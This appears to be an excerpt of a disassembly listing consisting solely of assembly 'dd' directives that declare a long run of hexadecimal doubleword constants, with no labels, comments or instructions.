		dd 0E6B1E315h, 0D6113488h, 204E5B68h, 0D0D61134h, 6D98CBC3h
		dd 44430C96h, 7482F649h, 211C1BECh, 1F34FF29h, 19DC143Bh
		dd 40B4850Bh, 12307F75h, 0F2EAF7D0h, 0B7C53946h, 0B2675F30h
		dd 1230F3FDh, 0D2CF48D0h, 3A928F44h, 47865Ah, 32D50000h
		dd 4FD49A24h, 31847F7Eh, 49F0639h, 0D860B079h, 7540B407h
		dd 0DC146832h, 1774A5AEh, 441ADD63h, 1F93A04Ch,	0BFBE8711h
		dd 6217CCC4h, 0D012A108h, 0A93734ADh, 5A3A0722h, 0DAE9h
		dd 45CBD900h, 827A7574h, 0FECF56B7h, 0F6DAE3FFh, 353861DEh
		dd 9C21271Fh, 4DD4CCCBh, 0FE857D7Ch, 30E6C12Dh,	56D61194h
		dd 818AFECFh, 4D80B191h, 0FAC34DFEh, 0B5AD00FBh, 0BC435193h
		dd 66EDF3EBh, 34719695h, 8BEFF86Ch, 944B96E3h, 4F1A443Ch
		dd 0DC1461C8h, 8B54DEECh, 4FA5708Ch, 27D0121Dh,	23CFC71Ah
		dd 265FAA16h, 1E1BE65Ah, 0DADA15A2h, 747344CCh,	0C8D58179h
		dd 0F0C14654h, 0AF344284h, 0ECE4DFDEh, 399061E6h, 0D4BE6150h
		dd 8F1B2223h, 0B8000018h, 0DCFA662Fh, 0FB198556h, 1836A273h
		dd 3B59C58Eh, 0BA79E5B6h, 5425AA6Eh, 763FCAE8h,	9760EC0Ah
		dd 0B5860D2Bh, 0CD984449h, 0D01852A7h, 562E414Fh, 529400D1h
		dd 0F0EFB844h, 52A56EF8h, 0FFCD545Ah, 0AEA9A879h, 290CEF5Bh
		dd 0E5B024FCh, 0DC1468C2h, 0DB908F9Ch, 0D0126691h, 22B0AD26h
		dd 5A3AC0A9h, 10E16775h, 0DCDD18h, 0BFCD0000h, 726D6C35h
		dd 2432AF7Ah, 0CDD3CB9Ch, 0F8017546h, 0CF0E9001h, 1BD0C867h
		dd 0CECD9E23h, 11EE6319h, 390289D6h, 21A4DA6Dh,	43E82EB3h
		dd 1FBDA4EFh, 0C5E34FA2h, 0C7F96D3Eh, 1183F6FCh, 79717ED6h
		dd 9A669FC4h, 60E6F426h, 0A974908Fh, 0D611834Bh, 0D3CB1E2Bh
		dd 14990B10h, 0B21E2BDCh, 0EE623E67h, 15161723h, 0CE424FDAh
		dd 0E16D3BC0h, 1759C518h, 0BBB38409h, 85F30B5h,	0D4BEE715h
		dd 9FF4FBFCh, 0A8000017h, 0CCEA561Fh, 0EB097546h, 8269263h
		dd 2B49B57Eh, 0AA69D5A6h, 44159A5Eh, 662FBAD8h,	8750DCFAh
		dd 0A576FD1Bh, 0BD883439h, 0D0185DB7h, 561E313Fh, 769400D1h
		dd 0C99A21EFh, 0FA7FCFCAh, 0DC2F2A29h, 8CE5A68h, 605FB283h
		dd 94B6D65h, 45E60CD7h,	818ED611h, 0CF56BE89h, 0D5E3FFFEh
		dd 7E847C4Dh, 6FBA26F7h, 0C4F66A36h, 2EFF8492h,	1145D321h
		dd 50974ED6h, 658C6698h, 0A76A626Fh, 0DC142F28h, 6738BECCh
		dd 0B7B6C36Fh, 122FE802h, 0D7D44DD0h, 3A8D8249h, 28C9A5Ah
		dd 473F3A39h, 0A60Ch, 7C135B00h, 5ACEAAD3h, 1460848Fh
		dd 71A1AEDCh, 0A8F6E61Eh, 0E2BEE7ACh, 0AAD8A36Eh, 85920689h
		dd 5F246186h, 0C0706D7h, 0D87A45B9h, 503CB726h,	3AC1CF43h
		dd 58DFFD69h, 3635FE8Ah, 9491E83Bh, 8FAF5CB6h, 16B4878Eh
		dd 0A930000h, 31B7D541h, 4ED6F460h, 69F3117Dh, 911634A0h
		dd 499554C0h, 0C32F0085h, 0E5511AA5h, 6723BC7h,	249061E8h
		dd 4AA8731Fh, 2AD0185Ch, 0CF56091Ch, 0A3DAFFFEh, 2E8152D8h
		dd 0B7BD88BAh, 3FD61145h, 45284611h, 0BBC8D611h, 7B467068h
		dd 0DC146014h, 0B7DF191Eh, 0E21825B6h, 1340238Fh, 0CEAAD37Ch
		dd 60848F5Ah, 2230DC14h, 5ED9D29Bh, 49ABDE66h, 0D94ABF6h
		dd 0BE58DBA3h, 0DD0D1AC6h, 84C21A23h, 5CD8D5CDh, 3241A164h
		dd 178E5B39h, 28579D68h, 121F5B3Dh, 694EA6C7h, 6595DD2h
		dd 0FF3CC792h, 0ACB65138h, 4CD5927h, 3A5F5EB1h,	0B3C135C3h
		dd 3E686029h, 387AD173h, 0C83C494Fh, 0F66233BAh, 298051D8h
		dd 61EB8A22h, 0E3293031h, 64000015h, 88A612DBh,	0A7C53102h
		dd 0C4E24E1Fh, 0E705713Ah, 66259162h, 0D1561Ah,	22EB7694h
		dd 430C98B6h, 6132B9D7h, 7944F0F5h, 0D0185F7Bh,	32DAEDFBh
		dd 4ED39924h, 30837E7Dh, 383E3631h, 7889E0B1h, 9BC8B553h
		dd 1598939Ah, 26AF0000h, 4DD3F15Dh, 6AF2107Ch, 850F2D99h
		dd 0AD3250BCh, 65B170DCh, 0DF4B1CA1h, 16D36C1h,	228E57E3h
		dd 40AC7D04h, 0AEC48F3Bh, 46D0185Fh, 0CF562538h, 8D588AFEh
		dd 0D6114567h, 550A020Fh, 0B72BF530h, 144923ECh, 3CC1CBDCh
		dd 9BA4186Bh, 173E4753h, 0CDCAF845h, 643076C1h,	5CBDDFD7h
		dd 871C8942h, 0DDAE3402h, 4590E3DEh, 0B829C4FAh, 0E85CAFD1h
		dd 0BC85EBB6h, 636DD012h, 67B70ADBh, 191413DCh,	232CF721h
		dd 4BDA1799h, 3BB0E3Eh,	0D7EBEE8h, 0B1A97AFFh, 579077Eh
		dd 0BBA4A13Ah, 9A1F2974h, 7CCFCAC9h, 0C853617Dh, 5B18B4FFh
		dd 7FCA8827h, 4F295487h, 0C14E10DBh, 0D9E672A5h, 232A3365h
		dd 3A3803E5h, 0BA62A9EAh, 0D9F462ADh, 0D65D635Bh, 0FE839105h
		dd 3B332E2Dh, 0DAA5D719h, 62A94194h, 51574F5Ch,	87A2F9CAh
		dd 0BE7D6D56h, 14A4B6BDh, 1AA30000h, 41C7E551h,	5EE60470h
		dd 7903218Dh, 0A12644B0h, 59A564D0h, 0D33F1095h, 0F5612AB5h
		dd 16824BD7h, 34A071F8h, 0BAB8832Fh, 3AD0185Eh,	5B99192Ch
		dd 4D61145h, 0D61155EAh, 1145016Bh, 6598D2D6h, 6FF6D611h
		dd 7322479Eh, 6C6DC8B5h, 145165h, 0A46DF600h, 0C3941A38h
		dd 0E0B13957h, 3CC5674h, 23F47997h, 0E8ACF8B7h,	8269263h
		dd 2A48B47Dh, 4B69D59Eh, 8287F3C4h, 5EE50BD6h, 7F8DD018h
		dd 24FC296Ch, 6B32E5B0h, 9FACDC14h, 0B8791948h,	707778CEh
		dd 140Ah, 7FEBB43Dh, 9E0ADB61h,	0BB27F880h, 0DE4A139Dh
		dd 0FE6A3BC0h, 0AA2FF33Fh, 0C44F6DD9h, 0E5718FFBh, 0B92B01Ch
		dd 1DC9CE3Ah, 185E1C52h, 0B3C6D4D0h, 0FFFECF56h, 0B0AF8007h
		dd 636233B8h, 1918E16Bh, 3E0A0710h, 11457D73h, 95E8F5D6h
		dd 0BA48451Ah, 5C39E731h, 20FCh, 5F994B00h, 0BDD61145h
		dd 0E8F16536h, 0C5D0F243h, 284A4244h, 6CBF414Dh, 8A9190D6h
		dd 1392h, 0FECF568Dh, 0D5A3DAFFh, 8D262F61h, 5AFE826Dh
		dd 41E6A9A1h, 21DC146Bh, 62CA28F3h, 0C550D012h,	0C02FDFCh
		dd 0F540ACFFh, 0B17CF088h, 0DA176886h, 0ECE4E3F0h, 4C279364h
		dd 0DA177723h, 971DEB71h, 0E90773C6h, 101E9A63h, 9678F4F9h
		dd 98EB3E0Fh, 4A1BA199h, 0E1DE9D4Bh, 76E2B339h,	3FE17972h
		dd 1CCB450h, 96A40000h,	0F2BB460Ch, 55A5A09Fh, 3C07FFD0h
		dd 0B024FC29h, 145FF6E5h, 774270DCh, 0D0125F79h, 9A99ECF9h
		dd 0DF4B1CA2h, 0F66A3BC1h, 989061E8h, 4FC42EE3h, 3841D012h
		dd 0D7616F3Bh, 8A10160Eh, 9B024DB9h, 1DBE89FDh,	95DA1759h
		dd 0C918988h, 2CB1CF3Bh, 908D95Eh, 0A0BCBB0Eh, 0FCE81597h
		dd 9991A8FAh, 17279ED6h
		dd 0E5E2EBDAh, 20DEE719h, 77CC2FF3h, 3CB0BECBh,	3340DA17h
		dd 0E7B0353Bh, 6631A3D7h, 0DA172D08h, 7790DBE8h, 75E13468h
		dd 4A08D157h, 49A491Fh,	473F3E91h, 43F1F0C1h, 59DF8784h
		dd 0D3181C88h, 5A503F2Ch, 5Dh, 0E4B53C4Ah, 0CE81F2E5h
		dd 32AD758Eh, 561CE7DFh, 7E8C00D1h, 303E09F3h, 0C0D61145h
		dd 666160B3h, 949DB96Eh, 0B99FAF90h, 0A2A8A0D6h, 0FAC34F1Dh
		dd 5324AAh, 97945301h, 6435BDCBh, 0BDBC8D14h, 3FC4CAC2h
		dd 0EF312076h, 0BB43B139h, 9DF0EBEAh, 11DADE4Ah, 1C5C3998h
		dd 0C2h, 27FC296Bh, 7A4BD19Fh, 9560D427h, 0DC145F9Ah, 0ACC8C7D4h
		dd 96B08BA3h, 0C14C387Eh, 0A7ADA5F8h, 0C6E45021h, 54706F40h
		dd 47195722h, 0CCD9D012h, 2827F07Ch, 0A92F352Dh, 358851DBh
		dd 0CCC98836h, 61CD9E24h, 3AE1965Dh, 649D5Ah, 32EC0000h
		dd 1A7D1B29h, 41392356h, 0EF159B0Eh, 0CB13BEA0h, 622DA1F4h
		dd 0D611D6BCh, 73282734h, 0D611D579h, 45440D97h, 0BD6C84Dh
		dd 0D611D1E5h, 2E2D808Dh, 0D1294712h, 0BCC9D611h, 812C2984h
		dd 5A2F2C0Bh, 0B3E5592Fh, 11D18AE8h, 125D6AD6h,	0FC970088h
		dd 0A9D3CB42h, 114820DEh, 37A3B0D6h, 110Ah, 320D00h, 11453F35h
		dd 0B2AAB7D6h, 5B9Dh, 2432A000h, 0CED4CC9Dh, 0CF017546h
		dd 1145EE04h, 0D3A42CD6h, 0D6E3D9D4h, 0DB0D29DEh, 1145E210h
		dd 8D8592D6h, 0A9330187h, 388B5CE3h, 7FEB3E39h,	0B0ADB61h
		dd 8C55E1EFh, 622E6194h, 454BAE63h, 7FF8D611h, 0E3FFF482h
		dd 1365C39h, 2600000Ch,	0AAECAB1Dh, 3C8CC59Bh, 23EEE6B7h
		dd 2B2AF629h, 887A010Fh, 1145B7BDh, 0DF323FD6h,	2AEDE5E0h
		dd 5FBC794Bh, 0EC7A77F0h, 0D592D2E7h, 372Eh, 0F6297D00h
		dd 85EBB62Ah, 6DD61145h, 0A4AC6160h, 9D7F8512h,	52992724h
		dd 0EAF54A2Dh, 8C8455DCh, 26B51h, 440F4100h, 7F62872Eh
		dd 0A7CD98C6h, 4F7F6287h, 2CF7EF42h, 152AF629h,	0F7818FA3h
		dd 3C342F2Eh, 0FECF5671h, 701B76E9h, 4139FF6Bh,	35A2h
		dd 0F629F100h, 6732152Ah, 0D611450Ch, 0A371E1E6h, 6286ECB7h
		dd 616ED611h, 8DA4BA16h, 32253Ah, 4E9E67F2h, 0FEF9F8C9h
		dd 0CE563B06h, 7D14E8FDh, 2747h, 0F6294A00h, 6732152Ah
		dd 0D611450Ch, 5CE5A68h, 0DC50650Dh, 9F7D46CEh,	1D037EE9h
		dd 0EEB9B104h, 0CE565F32h, 7D14E8FDh, 12B12932h, 1D6831BBh
		dd 0AEA6FAAFh, 0D9807AEBh, 44159A07h, 6233BAD8h, 83F1BCEEh
		dd 73E7D9F9h, 4F0F1B66h, 4B0F0Ah, 0DA5F4F08h, 0D72A0609h
		dd 0DAAB32DAh, 0BC8D14AAh, 0E7B03A48h, 3CF5EDE8h, 0B53A4609h
		dd 61EDE5E4h, 87909998h, 955EDF8Ah, 9869F098h, 7A4BD268h
		dd 0D0556377h, 5A23AFFFh, 6268605Bh, 0C01952DDh, 0CCD1E7D9h
		dd 6625AD5h, 0D71DE8C3h, 9FE7D9C2h, 0E9EC3F92h,	15BDBA0Dh
		dd 3B49BD8Eh, 0E8E3E2B3h, 0EF740AF0h, 0C23C32FDh, 0A7B4E7D9h
		dd 3E1A5554h, 11B9B693h, 314FBB8Ch, 5C65D9AAh, 93672CE8h
		dd 0E59E96DBh, 8AE570F5h, 64E7D9B3h, 59445457h,	935E905Ch
		dd 0E7D9B35Dh, 6D6334BBh, 0B37E743Fh, 0E9F6E7D9h, 11989E96h
		dd 0F37A1040h, 1AA0AE22h, 0CB524A49h, 0AD00FBFAh, 83C9FCB5h
		dd 6DB3BCC4h, 0B4F87C1Fh, 0EAB33F8Fh, 4E1A17F2h, 0F1E9BA40h
		dd 639364EBh, 727546CDh, 0B82CFD82h, 5D551EAAh,	1826C8A4h
		dd 0F0CBC38Ch, 0F3C44BF3h, 243268C3h, 0B6D2D19Ah, 114585EBh
		dd 0D606DD6h, 0B7880F15h, 95553A43h, 8B0484C2h,	0EEA3C893h
		dd 1328F029h, 29321B76h, 4E0B4004h, 5D494117h, 41394886h
		dd 388Dh, 0F029DC00h, 1CA6B428h, 0AE01CA56h, 32EBB6h, 9B9A6BF2h
		dd 8AE5A8A0h, 64D61145h, 24324257h, 8E59CD9Eh, 0D6114560h
		dd 0E10B0310h, 0FFD0560Eh, 477D14EAh, 50h, 28F0294Ah, 0C673213h
		dd 0EAD61145h, 642F61D5h, 0D611450Eh, 16E1D9E6h, 9EF70032h
		dd 7D71716Bh, 323500F8h, 453F3500h, 0AAB7D611h,	3426ACB2h
		dd 11450B69h, 0B7E6EBD6h, 0F4A1B804h, 3EC31366h, 20736E6Dh
		dd 151E140Bh, 8956186h,	4C170F0Ah, 1153D199h, 4DD938D6h
		dd 0DCFFFFFDh, 0D19A2432h, 45DC16D9h, 9A0DD611h, 42124D16h
		dd 0CD59FBB1h, 0B70A0504h, 68E7F064h, 4AF4E7A6h, 17597B73h
		dd 7B90B40Eh, 5951A1BEh, 0ED9CB53h, 0D6112CE0h,	26388390h
		dd 0BB4AED98h, 0BA6F6EC1h, 0D61156B4h, 38E0DDBCh, 3173DFB0h
		dd 563E34FFh, 0A9B6D611h, 5425ABB1h, 9C6C9DE8h,	0E773819Dh
		dd 0B463261Eh, 0FB18678Bh, 0CE9F2533h, 70FEFBD6h, 1E6F817Bh
		dd 22DB2h, 5E990100h, 91D61145h, 0E6188C14h, 1145D51Bh
		dd 98909DD6h, 6A14A36Eh, 414EDC14h, 586193D5h, 0EA32D1DDh
		dd 92E0ED62h, 62D01269h, 0CF575D55h, 0F27C8AFEh, 607C3129h
		dd 5F42F057h, 4D4570C2h, 7CF0C147h, 2EF9E36Eh, 0D0121FC0h
		dd 5150A3B0h, 2EB00B56h, 19067E7Fh, 0EE746C21h,	8CF91E1Dh
		dd 0A3A26BF7h, 0B6934A8h, 0EBD01281h, 4C178BDEh, 0DA17A39Fh
		dd 7AB30A17h, 0EDD4BC39h, 0D58E5ECh, 66EF0000h,	8D13319Dh
		dd 0AA3250BCh, 0C54F6DD9h, 0ED7290FCh, 0A5F1B01Ch, 1F8B5CE1h
		dd 41AD7601h, 62CE9723h, 80ECBD44h, 0EE04CF7Bh,	86D01867h
		dd 29326578h, 9680369h,	6FE25h,	2634A879h, 22D7CFA0h, 84F880FDh
		dd 1AFFCDB9h, 0B33F49DCh, 0F12397EAh, 18FFC826h, 0A39BA8D0h
		dd 12E36B79h, 2F0088A6h, 0DF41B2BBh, 2CA2EB4Eh,	877F34h
		dd 614302Fh, 82B5AD7Eh,	0CC07851Bh, 0ACFDA316h,	3782738Dh
		dd 58ABB85Ch, 0F12619E4h, 70A2DA1Dh, 1DF44FA5h,	7A43CDDAh
		dd 7D8A807Bh, 0E1D9A22Dh, 8ED12835h, 15D4C204h,	0CAC0D14h
		dd 129B0000h, 39BFDD49h, 56DEFC68h, 71FB1985h, 991E3CA8h
		dd 519D5CC8h, 0CB37088Dh, 0ED5922ADh, 0E7A43CFh, 2C9869F0h
		dd 42B07B27h, 32D01866h, 0CF561124h, 0AEAD7601h, 10D963B3h
		dd 0C4C31611h, 269A669Fh, 145DD05Bh, 218D9ADCh,	3FAB7C03h
		dd 6CF289F4h, 9DF1EA3h,	5AAD89FEh, 63B67F0Ah, 9A724EFh
		dd 3341DA19h, 8A5BE3A9h, 3E3D908Bh, 929F4B43h, 0BB89101Eh
		dd 6E696831h, 29211C1Bh, 9869F1FFh, 0B5860E2Ch,	6637BEB6h
		dd 8D5EE4F2h, 42BBE095h, 106334B9h, 1A5ED19Ch, 0CBD8D018h
		dd 0C4EC2774h, 0BAC1C2DAh, 0C02h, 87F3BC45h, 0A612E369h
		dd 0C32F0088h, 0E6521BA5h, 67243C8h, 0B237FB47h, 0CC5775E1h
		dd 0ED799703h, 139AB824h, 25D1D642h, 1866145Ah,	0BBCEDCD0h
		dd 0FFFECF56h, 61D5A3DAh, 5FDCE53h, 6FC310DBh, 6673DC14h
		dd 8556DCFAh, 8173FB19h, 126FB8B6h, 0D82B38D0h,	0FC29896Ch
		dd 0D0CFA027h, 430E82D5h, 0DC144AD0h, 893E3D4Ah, 0D012406Fh
		dd 0D05E5BD4h, 5A3AE61Bh, 9C12h, 0D0566100h, 45DD13DEh
		dd 0B13BD611h, 0F8EEE9E8h, 449768EEh, 10747DF1h, 0C3171F8Fh
		dd 4D45FAF2h, 0A172F9C7h, 5554A7A2h, 0B0AD35Dh,	50BC8D13h
		dd 8C009805h, 14511AC1h, 21EC1EDCh, 0D01261D3h,	0F29E96A3h
		dd 78378EE5h, 0E5E6CEB8h, 0B39DEh, 0BC850E00h, 0DBAC3250h
		dd 0F8C9516Fh, 1BE46E8Ch, 3B0C91AFh, 0C410CFh, 203EAA7Bh
		dd 4260CC95h, 6381EDB6h, 9A9F0BDCh, 61CD23EEh, 97A5D018h
		dd 0FFD05684h, 25F67D8Bh, 67DE0B2Dh, 82000000h,	0AB1FE874h
		dd 114592E0h, 5D5562D6h, 0FFD05692h, 0D6A2DB00h, 5E695962h
		dd 3EFEC9E8h, 0DCEA1C46h, 0C88B8354h, 0DC14C413h, 0CE2F8693h
		dd 91CEB918h, 0AC48990h
		dd 0FA830000h, 21A7C531h, 3EC6E450h, 59E3016Dh,	81062490h
		dd 398544B0h, 0B31FF075h, 0D5410A95h, 0F6622BB7h, 148051D8h
		dd 5A98630Fh, 1AD01860h, 0CF56F90Ch, 8007FFFEh,	45ADC38Eh
		dd 3B45D611h, 0E8E3E2B3h, 0C0CE4295h, 716C6B34h, 0CCA1C479h
		dd 6DF503CFh, 33B8A49Ch, 0FA5C39E7h, 297h, 98243249h, 318ED7CFh
		dd 91924851h, 1D1433A1h, 7F77CA93h, 0D347D14Ch,	14B60F08h
		dd 0A61A27DCh, 0B74BA974h, 1E2BD012h, 7D7546CEh, 1FC94497h
		dd 0D9E7CFABh, 8C87864Fh, 5C246194h, 85EBB6E8h,	6D2F8ADFh
		dd 733E6860h, 258FF5B4h, 0BFB580AEh, 37298F81h,	0DE56D132h
		dd 6BBEC959h, 89F41918h, 7E497BEFh, 298FD470h, 0D1FBF300h
		dd 89504406h, 5BCFDC23h, 2712E352h, 0D6D1D0A1h,	0AEB2FB8Bh
		dd 0F77E8CB6h, 0D4D3A429h, 310289D9h, 78E43732h, 0AB02D35Ah
		dd 0CE5ACC40h, 0C70F1617h, 80000009h, 0A4C22EF7h, 0C3E14D1Eh
		dd 0E0FE6A3Bh, 3218D56h, 8241AD7Eh, 1CED7236h, 3E0792B0h
		dd 5F28B4D2h, 7D4ED5F3h, 95600C11h, 0D018635Fh,	56F60917h
		dd 6B6307D0h, 0FAA0FD2Eh, 1A83A8A7h, 1E3F0A7Eh,	98DC1A70h
		dd 7E09178Bh, 0F43841B5h, 2C2F1B8Dh, 7A4BD222h,	6688807Bh
		dd 80F4BD48h, 9820E672h, 0C77C74C7h, 45169DABh,	0FAC34E46h
		dd 21045CA7h, 8D3E8A13h, 603B6295h, 8F8E13D4h, 18923199h
		dd 78CBC6C5h, 39C4D204h, 7E767170h, 1D1964BBh, 0B7C0EEDAh
		dd 90394AD6h, 46A7741h,	0ECDA1DC9h, 0E6188CDFh,	5CF2FDDDh
		dd 0CDC51B4Eh, 7733CC7h, 0C034BCC5h, 916C8EE3h,	3F089399h
		dd 0F0C14840h, 0C1C22499h, 70E0FD4h, 8FAh, 8FFBC44Dh, 0AE1AEB71h
		dd 0CB370890h, 0EE5A23ADh, 0E7A4BD0h, 0BA3F034Fh, 0D45F7DE9h
		dd 0F5819F0Bh, 1BA2C02Ch, 2DD9DE4Ah, 18630C62h,	0C3D6E4D0h
		dd 45BE2C6Dh, 836D611h,	44E50BD6h, 808DD611h, 50B0AD88h
		dd 4C17C03Dh, 0D6114426h, 0FA6EC1CEh, 0A5CB96C8h, 0CFD61144h
		dd 1144EE04h, 837986D6h, 0D19A2676h, 440916D9h,	0BDCBDC14h
		dd 941A6A33h, 0F11FCBC3h, 1247C826h, 0F8C94ED0h, 0C4AAF502h
		dd 0E167D3AFh, 0D5E357AAh, 847F7E4Fh, 0D5B0639h, 0E6DEC0D7h
		dd 5526AEBCh, 99679EE9h, 0E6B85A25h, 80B2DA15h,	19F4BFB5h
		dd 322A37DAh, 678D5886h, 0FDA19F4h, 0B2B17A05h,	9D1164B7h
		dd 0CB37088Fh, 0FE5526ADh, 0D4BE047Fh, 2B767D7Eh, 1C000008h
		dd 405ECA93h, 5F7DE9BAh, 7C9A06D7h, 9FBD29F2h, 1EDD491Ah
		dd 0B8890ED2h, 0DAA32E4Ch, 0FBC4506Eh, 19EA718Fh, 31FCA8ADh
		dd 0D01862C3h, 9992A5B3h, 0D611455Fh, 0F96536BDh, 35A977AEh
		dd 1492996Ah, 0D04451DCh, 16D36C2h, 1A8E57E3h, 22781311h
		dd 3931AA2Eh, 7D07D84h,	29800000h, 0E5B024FCh, 0DC146AD6h
		dd 0CF848390h, 0D01260A5h, 0B049521Ah, 311F7FF5h, 2A2702FAh
		dd 3A3A579Ch, 10EDE5Ah,	322D0000h, 0D2D19A24h, 4DD9DFD7h
		dd 28D8584h, 0BB423A39h, 4B553CF2h, 398C7085h, 0F5B6423Ah
		dd 0EAD12942h, 27AE399Eh, 915A125Dh, 8D960A5Dh,	0BF033934h
		dd 8D1262C4h, 0CAC2BDBCh, 38FE8AA8h, 0E9E4E3ACh, 44431499h
		dd 0DBF7F649h, 0ED7745CDh, 0A6D9D124h, 642FA371h, 0D611C346h
		dd 0F412111Eh, 0E4701815h, 591AF1Bh, 0A1ECB53Fh, 4A5FE670h
		dd 7B7ACD09h, 1185A4C6h, 8C5DE2D6h, 420B958Dh, 0B086343h
		dd 0E0BEA60h, 0A511DA66h, 0E3572D5Ah, 4E1CA3B1h, 1FCFBC4h
		dd 0BCB4AFAEh, 118183F9h, 777683D6h, 0BF2BF47Fh, 4E4D16A1h
		dd 0FFFECF56h, 5D0502E1h, 879509D2h, 1A3C34FDh,	753ECAD8h
		dd 23EC777Dh, 0FA86FF24h, 9660BB86h, 0DDEADC14h, 0FFC85371h
		dd 0D8ACDB00h, 97279964h, 121FD012h, 1916F513h,	0B11DE671h
		dd 403F0893h, 0A216E21Bh, 17A344D7h, 85F1FEDAh,	28461143h
		dd 0C8DA17BAh, 32BDC3BBh, 0ADBBFD69h, 575D5526h, 0B39602CBh
		dd 3803FC29h, 0D611453Ah, 0EFF1B5BAh, 0DCD93F00h, 0E4AD3989h
		dd 0E141D91h, 0E34B1D40h, 0AE185621h, 0CBD8D611h, 8B568078h
		dd 0DC14A1ACh, 9EBAB9C6h, 3A390A90h, 0BB41473Fh, 299B7EEAh
		dd 235C30F0h, 8AEE9F63h, 7A4D1EBh, 66B90C71h, 7CB8B267h
		dd 84FDD611h, 0BE89BB87h, 0D6117CB0h, 0F4BF3340h, 0D6117CFEh
		dd 85716976h, 5C39DA4Eh, 7B3CC8D6h, 51C890C9h, 8483D61Ch
		dd 39569189h, 0A5000000h, 0FFD056h, 7F50D6E4h, 45AEC487h
		dd 98C6D611h, 33B96C8Fh, 827A7B77h, 7C02AAA7h, 4A643FABh
		dd 0A4D61114h, 11D69BD9h, 0AC7501D6h, 5324ACB6h, 844EAD00h
		dd 51FFFFFFh, 12DDCF56h, 0D61145DCh, 559B6694h,	1DD61145h
		dd 556ABD10h, 0F029EAA7h, 573A1328h, 39FF6B70h,	2CA241h
		dd 32F10000h, 0BF87B029h, 686015B9h, 1F34C435h,	45096732h
		dd 0DCE9D611h, 0F20032C7h, 0A49F9E67h, 0D056E1ACh, 7D14EAFFh
		dd 2B47h, 324A00h, 919E67F2h, 0D6114563h, 0DB0E0613h, 32C5DAAEh
		dd 11450967h, 54DBEDD6h, 0AEBC3083h, 96615922h,	0D0565F32h
		dd 7D14EAFFh, 3F350032h, 0B7D61145h, 24ACB2AAh,	0AAFDCE56h
		dd 45F8F6ABh, 19F8D611h, 47501Ch, 5BD30F42h, 32854ED9h
		dd 0DBAC343Ah, 88175E67h, 6067B3F8h, 8AD5A276h,	77C782C0h
		dd 292423ECh, 9BCD0F31h, 110CA2D0h, 4D4552D6h, 111A568Ah
		dd 0B32281D6h, 25FFFFF3h, 8BFFD056h, 0E84B3F82h, 3129CD22h
		dd 0C259C40Fh, 19E26D3Bh, 79CC1F1Ah, 3A4AFC05h,	0C13B4A49h
		dd 5F6D9FC9h, 0D01EE9D3h, 0A0D611AAh, 85484093h, 0DC148D92h
		dd 0CB807F8Ch, 0D01549A1h, 12A09D16h, 5A3DEBD9h, 36013365h
		dd 0D0154138h, 509EABB8h, 20D01541h, 6DC09116h,	73A75h
		dd 47890000h, 1, 2CFC294Ah, 5F716562h, 178BDE21h, 14A6E34Ch
		dd 7F7E8BDCh, 1CA5563h,	90F0702h, 6B46B283h, 0D012B648h
		dd 7733CC8h, 95945DE9h,	14E56B79h, 4677D31Ch, 0E7B03C4Ah
		dd 4B1714EFh, 11D80642h, 635BA25Ch, 9C08D15Dh, 2326F77Eh
		dd 0D8DBAC33h, 4ACA9FCh, 217CAC7Dh, 0CE9F2432h,	0FFE1EAD6h
		dd 0DE2C5CB9h, 7B000000h, 1126F229h, 450C6732h,	0D5EAD611h
		dd 9C2432C0h, 0D6A9D3CBh, 32148181h, 453F3500h,	0AAB7D611h
		dd 5425ACB2h, 29EAA73Fh, 0A6B428F0h, 5853521Bh,	573A9560h
		dd 39FF6B70h, 52A241h, 32F10000h, 453F3500h, 0AAB7D611h
		dd 7E0A7FB2h, 9673269h,	0E9D61145h, 2932C7DCh, 300BAC04h
		dd 0D5FFF7C5h, 35003202h, 0D611453Fh, 0ACB2AAB7h, 0AFE15526h
		dd 11458EE4h, 6D3866D6h, 0D6114507h, 978FE2EFh,	9C2432CCh
		dd 0D9D1CCCBh, 4847FA91h, 4A000000h, 0B030F029h, 0A5CB9612h
		dd 4DD611FDh, 4F83F540h, 0B5C3378Ah, 9C675F30h,	45096732h
		dd 0D8EDD611h, 1CA5664h, 323E09h, 11453F35h, 0B2AAB7D6h
		dd 32B588h, 11453F35h, 5AAAB7D6h, 70201D2h, 0B283090Fh
		dd 477D149Dh, 0FFFFFF14h, 3500324Ah, 0D611453Fh, 0ACB2AAB7h
		dd 0D7E05425h, 539FC2B0h, 66493E93h, 0F707D6h, 800B5ADh
		dd 642DB381h, 203DB62Eh, 9594E79Dh, 90DB479Ah, 4C178B15h
		dd 0DC141707h, 0EEA3A2AFh, 0D0122484h, 0D7637139h, 3E3B160Eh
		dd 3A863BB0h, 45F25Ah, 0D4E20000h, 0EA398849h, 0A802DFF6h
		dd 29925D55h, 0E5B024FCh, 0DC1468C2h, 9DCA151Eh, 207229D9h
		dd 706F7C28h, 0AC04B54h, 4B72CC4Fh, 0BD669053h,	62DBD012h
		dd 1B1CD765h, 1A285A3Ah, 0C8C3C293h, 0F795D0h, 56E40000h
		dd 7FFFECFh, 0AFC59082h, 47D61145h
		dd 0CCE8E73Ah, 716932BEh, 1413E46Bh, 3BC7951Ch,	0D8B31F72h
		dd 0D6114922h, 7CF0C148h, 2119E26Eh, 895AE1FFh,	6038658Ah
		dd 9253DEECh, 0C102E135h, 7473C6ABh, 8C578179h,	0DC143D2Bh
		dd 672DB7C5h, 0C2C114DDh, 20F177C7h, 822E2621h,	2120F178h
		dd 565FD326h, 0AC99A3B6h, 81A39B7Ah, 0A934CF36h, 93E6E1E0h
		dd 0DA7C541Fh, 0CAF8DA15h, 1992F1FFh, 297481DAh, 0B79B6094h
		dd 0D3479AC1h, 36F40C5h, 0AEC48FC1h, 46DA19CFh,	0B63B4139h
		dd 0DE058EE5h, 1718D4BDh, 22D10h, 0C8911A00h, 0E7B83E5Ch
		dd 4D55D7Bh, 27F07A98h,	47189DBBh, 0CD01CDBh, 2C4AB687h
		dd 4E6CD8A1h, 6F8DF9C2h, 0A6AB17E8h, 68C12FFAh,	0A3B1D018h
		dd 0D15690h, 618F5A8Ch,	11D61145h, 0CCEA0C04h, 20F17745h
		dd 0E7B22621h, 0D6114589h, 9D095C69h, 9A2932BAh, 410A940Dh
		dd 97D4F0F6h, 67316C9Fh, 768728F3h, 0D2DFDC14h,	7D41ED3h
		dd 0A169D012h, 3C3B0C93h, 0EC02CD41h, 84D01207h, 0A7A47F77h
		dd 3AA1D219h, 0B9595Ah,	56A80000h, 49CFDDCFh, 717E7978h
		dd 0D6114503h, 9493E6F3h, 4746179Ch, 1149E492h,	0AA7B02D6h
